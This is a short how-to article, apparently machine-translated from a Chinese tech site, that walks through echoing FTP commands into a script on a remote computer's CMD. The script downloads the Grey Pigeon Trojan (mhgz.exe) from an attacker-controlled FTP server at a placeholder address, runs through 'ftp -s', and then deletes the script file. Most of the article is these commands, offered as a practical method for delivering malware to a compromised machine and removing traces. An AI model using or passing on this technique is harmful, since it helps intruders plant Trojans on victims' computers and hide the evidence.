Get the App
SLTechnology News&Howtos  ›  Development  › 

How to download FTP files in the CMD of a remote computer

Shulou Source: shulou.com Published: 2022-06-03 06:08:45 11月17日 Update

This article is about how to download FTP files in the CMD of a remote computer. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

In the CMD environment of a remote computer, if the file cannot be transferred through the IPC$ channel, the file can only be downloaded through FTP.

Suppose we already have a FTP server with a configured gray pigeon Trojan file mhgz.exe, we should know the three parameters of the FTP server:

1. The IP address of the FTP server, such as 1.1.1.1

2. The user name of the FTP server, such as test

3. The password of the FTP server, such as test123

Enter the following commands in turn under CMD on the remote computer:

1. Echo open 1.1.1.1 > > test.txt login to the FTP server

2. Echo test > > test.txt user name

3. Echo test123 > > test.txt password

4. Echo bin > > test.txt start

5. Echo get mhgz.exe > > test.txt download Grey Pigeon Trojan Horse

6. Echo bye > > test.txt shut down the FTP server

After entering the above command, a test.txt file is generated on the remote computer with the following contents:

Open 1.1.1.1

Test

Test123

Bin

Get mhgz.exe

Bye

Now let's execute the following command on the remote computer:

Ftp-s:test.txt means that the parameters in test.txt are read and the ftp command is executed. After the command is executed, the gray pigeon Trojan file mhgz.exe is downloaded to the other computer.

Del c:\ test.txt

Thank you for reading! This is the end of this article on "how to download FTP files in the CMD of a remote computer". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it out for more people to see!

Tags: File server service computer command content Trojan pigeon parameter more user user name article face input good practical three only address Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Microsoft Linux Apple MySQL Xiaomi